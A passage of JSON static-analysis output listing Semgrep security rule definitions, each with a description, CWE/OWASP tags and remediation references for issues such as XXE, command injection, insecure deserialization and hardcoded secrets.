input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn)\n - [http://sekrit.de/webdocs/c/beginners-guide-away-from-scanf.html](http://sekrit.de/webdocs/c/beginners-guide-away-from-scanf.html)\n","text":"Avoid using 'scanf()'. This function, when used improperly, does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' instead for reading input."},"helpUri":"https://semgrep.dev/r/c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn","id":"c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn","name":"c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Private Key detected. This is a sensitive credential and should not be hardcoded here. Instead, store this in a separate, private file."},"help":{"markdown":"Private Key detected. This is a sensitive credential and should not be hardcoded here. Instead, store this in a separate, private file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-private-key.detected-private-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Private Key detected. This is a sensitive credential and should not be hardcoded here. Instead, store this in a separate, private file."},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-private-key.detected-private-key","id":"generic.secrets.security.detected-private-key.detected-private-key","name":"generic.secrets.security.detected-private-key.detected-private-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-private-key.detected-private-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"FTP allows for unencrypted file transfers. Consider using an encrypted alternative."},"help":{"markdown":"FTP allows for unencrypted file transfers. Consider using an encrypted alternative.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.ftp-use.ftp-use)\n - [https://www.php.net/manual/en/intro.ftp.php](https://www.php.net/manual/en/intro.ftp.php)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/FringeFunctionsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/FringeFunctionsSniff.php)\n","text":"FTP allows for unencrypted file transfers. Consider using an encrypted alternative."},"helpUri":"https://semgrep.dev/r/php.lang.security.ftp-use.ftp-use","id":"php.lang.security.ftp-use.ftp-use","name":"php.lang.security.ftp-use.ftp-use","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.ftp-use.ftp-use"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A `sync.Mutex` is copied in function `$FUNC` given that `$T` is value receiver.  As a result, the struct `$T` may not be locked as intended"},"help":{"markdown":"A `sync.Mutex` is copied in function `$FUNC` given that `$T` is value receiver.  As a result, the struct `$T` may not be locked as intended\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied)\n - [https://go101.org/article/concurrent-common-mistakes.html](https://go101.org/article/concurrent-common-mistakes.html)\n","text":"A `sync.Mutex` is copied in function `$FUNC` given that `$T` is value receiver.  As a result, the struct `$T` may not be locked as intended"},"helpUri":"https://semgrep.dev/r/trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied","id":"trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied","name":"trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied","properties":{"precision":"very-high","tags":["CWE-688: Function Call With Incorrect Variable or Reference as Argument","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccomp:unconfined' to prevent this."},"help":{"markdown":"Service '$SERVICE' is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccomp:unconfined' to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled)\n - [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/)\n","text":"Service '$SERVICE' is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccomp:unconfined' to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled","id":"yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled","name":"yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask)\n - [https://docs.python.org/3/library/os.html#os.environ](https://docs.python.org/3/library/os.html#os.environ)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask","id":"python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask","name":"python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user-controllable input to a reflection method. This may allow a user to alter program behavior and potentially execute arbitrary instructions in the context of the process. Do not provide arbitrary user input to `tap`, `method`, or `to_proc`"},"help":{"markdown":"Found user-controllable input to a reflection method. This may allow a user to alter program behavior and potentially execute arbitrary instructions in the context of the process. Do not provide arbitrary user input to `tap`, `method`, or `to_proc`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods)\n - [https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails6/app/controllers/groups_controller.rb](https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails6/app/controllers/groups_controller.rb)\n","text":"Found user-controllable input to a reflection method. This may allow a user to alter program behavior and potentially execute arbitrary instructions in the context of the process. Do not provide arbitrary user input to `tap`, `method`, or `to_proc`"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods","id":"ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods","name":"ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask","id":"python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask","name":"python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Document Builder being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"help":{"markdown":"Document Builder being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Document Builder being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled","id":"scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled","name":"scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg","id":"java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg","name":"java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ERC777 tokensReceived() reentrancy"},"help":{"markdown":"ERC777 tokensReceived() reentrancy\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.erc777-reentrancy.erc777-reentrancy)\n - [https://mirror.xyz/baconcoin.eth/LHaPiX38mnx8eJ2RVKNXHttHfweQMKNGmEnX4KUksk0](https://mirror.xyz/baconcoin.eth/LHaPiX38mnx8eJ2RVKNXHttHfweQMKNGmEnX4KUksk0)\n - [https://etherscan.io/address/0xf53f00f844b381963a47fde3325011566870b31f](https://etherscan.io/address/0xf53f00f844b381963a47fde3325011566870b31f)\n","text":"ERC777 tokensReceived() reentrancy"},"helpUri":"https://semgrep.dev/r/solidity.security.erc777-reentrancy.erc777-reentrancy","id":"solidity.security.erc777-reentrancy.erc777-reentrancy","name":"solidity.security.erc777-reentrancy.erc777-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.erc777-reentrancy.erc777-reentrancy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Prefer Argon2id where possible. Per RFC9016, section 4 IETF recommends selecting Argon2id unless you can guarantee an adversary has no direct access to the computing environment."},"help":{"markdown":"Prefer Argon2id where possible. Per RFC9016, section 4 IETF recommends selecting Argon2id unless you can guarantee an adversary has no direct access to the computing environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n - [https://eprint.iacr.org/2016/759.pdf](https://eprint.iacr.org/2016/759.pdf)\n - [https://www.cs.tau.ac.il/~tromer/papers/cache-joc-20090619.pdf](https://www.cs.tau.ac.il/~tromer/papers/cache-joc-20090619.pdf)\n - [https://datatracker.ietf.org/doc/html/rfc9106#section-4](https://datatracker.ietf.org/doc/html/rfc9106#section-4)\n","text":"Prefer Argon2id where possible. Per RFC9016, section 4 IETF recommends selecting Argon2id unless you can guarantee an adversary has no direct access to the computing environment."},"helpUri":"https://semgrep.dev/r/javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config","id":"javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config","name":"javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config","properties":{"precision":"very-high","tags":["CWE-916: Use of Password Hash With Insufficient Computational Effort","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The FsPickler is dangerous and is not recommended for data processing. Default configuration tend to insecure deserialization vulnerability."},"help":{"markdown":"The FsPickler is dangerous and is not recommended for data processing. Default configuration tend to insecure deserialization vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization)\n - [https://mbraceproject.github.io/FsPickler/tutorial.html#Disabling-Subtype-Resolution](https://mbraceproject.github.io/FsPickler/tutorial.html#Disabling-Subtype-Resolution)\n","text":"The FsPickler is dangerous and is not recommended for data processing. Default configuration tend to insecure deserialization vulnerability."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization","id":"csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization","name":"csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The $$VARIABLE path parameter is added as a header in the response. This could allow an attacker to inject a newline and add a new header into the response. This is called HTTP response splitting. To fix, do not allow whitespace in the path parameter: '[^\\s]+'."},"help":{"markdown":"The $$VARIABLE path parameter is added as a header in the response. This could allow an attacker to inject a newline and add a new header into the response. This is called HTTP response splitting. To fix, do not allow whitespace in the path parameter: '[^\\s]+'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.header-injection.header-injection)\n - [https://github.com/yandex/gixy/blob/master/docs/en/plugins/httpsplitting.md](https://github.com/yandex/gixy/blob/master/docs/en/plugins/httpsplitting.md)\n - [https://owasp.org/www-community/attacks/HTTP_Response_Splitting](https://owasp.org/www-community/attacks/HTTP_Response_Splitting)\n","text":"The $$VARIABLE path parameter is added as a header in the response. This could allow an attacker to inject a newline and add a new header into the response. This is called HTTP response splitting. To fix, do not allow whitespace in the path parameter: '[^\\s]+'."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.header-injection.header-injection","id":"generic.nginx.security.header-injection.header-injection","name":"generic.nginx.security.header-injection.header-injection","properties":{"precision":"very-high","tags":["CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.header-injection.header-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mssql.node-mssql-empty-password.node-mssql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.mssql.node-mssql-empty-password.node-mssql-empty-password","id":"javascript.mssql.node-mssql-empty-password.node-mssql-empty-password","name":"javascript.mssql.node-mssql-empty-password.node-mssql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mssql.node-mssql-empty-password.node-mssql-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.validator-xxe.validator-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.validator-xxe.validator-xxe","id":"java.lang.security.xxe.validator-xxe.validator-xxe","name":"java.lang.security.xxe.validator-xxe.validator-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.validator-xxe.validator-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret","id":"go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret","name":"go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.express-fs-filename.express-fs-filename)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/javascript.express.express-fs-filename.express-fs-filename","id":"javascript.express.express-fs-filename.express-fs-filename","name":"javascript.express.express-fs-filename.express-fs-filename","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.express-fs-filename.express-fs-filename"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs 